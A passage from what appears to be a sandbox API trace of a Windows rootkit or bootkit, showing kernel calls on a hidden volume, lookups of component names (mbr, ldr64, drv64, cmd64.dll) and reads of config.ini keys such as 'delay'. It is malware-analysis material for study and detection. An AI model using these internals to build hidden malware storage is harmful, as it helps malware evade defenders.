FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.948] KeLeaveCriticalRegion () [0117.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.948] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.948] KeEnterCriticalRegion () [0117.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.948] KeLeaveCriticalRegion () [0117.949] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.949] KeEnterCriticalRegion () [0117.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.949] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.949] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b28350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.949] KeLeaveCriticalRegion () [0117.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.949] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.949] KeEnterCriticalRegion () [0117.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.949] ExFreePoolWithTag (P=0xfffffa8003aa6170, Tag=0x0) [0117.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.949] KeLeaveCriticalRegion () [0117.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.949] ReleaseMutex (hMutex=0xf0) returned 1 [0117.949] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.949] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.949] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.949] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.949] KeEnterCriticalRegion () [0117.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.949] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.949] IdePortDispatch () returned 0x103 [0117.950] KeWaitForMutexObject () returned 0x0 [0117.950] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.950] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.950] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.950] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.950] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.950] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.950] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.950] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.950] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.950] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.950] KeLeaveCriticalRegion () [0117.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.950] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.950] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.950] KeEnterCriticalRegion () [0117.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.950] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.950] IdePortDispatch () returned 0x103 [0117.951] KeWaitForMutexObject () returned 0x0 [0117.951] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.951] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.951] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.951] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.951] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.951] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.951] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.951] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.951] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.951] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.951] KeLeaveCriticalRegion () [0117.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.951] ReleaseMutex (hMutex=0x100) returned 1 [0117.951] Sleep (dwMilliseconds=0x2bf20) [0117.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69827590, dwHighDateTime=0x1d24fa4)) [0117.960] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.960] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.960] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.960] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.960] KeEnterCriticalRegion () [0117.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.960] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.960] IdePortDispatch () returned 0x103 [0117.960] KeWaitForMutexObject () returned 0x0 [0117.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.961] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.961] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.961] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.961] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.961] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1970 [0117.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.961] KeLeaveCriticalRegion () [0117.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.961] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.961] KeEnterCriticalRegion () [0117.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.961] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.961] KeLeaveCriticalRegion () [0117.961] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.961] KeEnterCriticalRegion () [0117.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.961] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.961] IdePortDispatch () returned 0x103 [0117.961] KeWaitForMutexObject () returned 0x0 [0117.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.962] KeLeaveCriticalRegion () [0117.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.962] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.962] KeEnterCriticalRegion () [0117.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347c000 [0117.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.962] IdePortDispatch () returned 0x103 [0117.962] KeWaitForMutexObject () returned 0x0 [0117.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.962] IdePortDispatch () returned 0x103 [0117.963] KeWaitForMutexObject () returned 0x0 [0117.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.963] KeLeaveCriticalRegion () [0117.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.963] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.963] KeEnterCriticalRegion () [0117.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.963] KeLeaveCriticalRegion () [0117.963] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.963] KeEnterCriticalRegion () [0117.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.964] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.964] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003af8590, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.964] KeLeaveCriticalRegion () [0117.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.964] KeEnterCriticalRegion () [0117.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.964] ExFreePoolWithTag (P=0xfffffa80039d1970, Tag=0x0) [0117.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.964] KeLeaveCriticalRegion () [0117.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.964] ReleaseMutex (hMutex=0xf0) returned 1 [0117.964] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.964] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.964] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.964] KeEnterCriticalRegion () [0117.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.964] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.964] IdePortDispatch () returned 0x103 [0117.964] KeWaitForMutexObject () returned 0x0 [0117.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.965] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.965] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.965] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.965] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.965] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.965] KeLeaveCriticalRegion () [0117.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.965] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.965] KeEnterCriticalRegion () [0117.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.965] KeLeaveCriticalRegion () [0117.965] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.965] KeEnterCriticalRegion () [0117.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.965] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.965] IdePortDispatch () returned 0x103 [0117.965] KeWaitForMutexObject () returned 0x0 [0117.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.965] KeLeaveCriticalRegion () [0117.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.966] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.966] KeEnterCriticalRegion () [0117.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347d000 [0117.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.966] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.966] IdePortDispatch () returned 0x103 [0117.966] KeWaitForMutexObject () returned 0x0 [0117.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.966] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.966] IdePortDispatch () returned 0x103 [0117.967] KeWaitForMutexObject () returned 0x0 [0117.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.967] KeLeaveCriticalRegion () [0117.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.967] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.967] KeEnterCriticalRegion () [0117.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.967] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.967] KeLeaveCriticalRegion () [0117.967] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.967] KeEnterCriticalRegion () [0117.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.967] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.968] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b28350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.968] KeLeaveCriticalRegion () [0117.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.968] KeEnterCriticalRegion () [0117.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.968] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.968] KeLeaveCriticalRegion () [0117.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.968] ReleaseMutex (hMutex=0xf0) returned 1 [0117.968] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.968] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.968] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.968] KeEnterCriticalRegion () [0117.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.968] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.968] IdePortDispatch () returned 0x103 [0117.968] KeWaitForMutexObject () returned 0x0 [0117.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.969] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.969] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.969] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.969] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.969] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa63a0 [0117.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.969] KeLeaveCriticalRegion () [0117.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.969] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.969] KeEnterCriticalRegion () [0117.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.969] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.969] KeLeaveCriticalRegion () 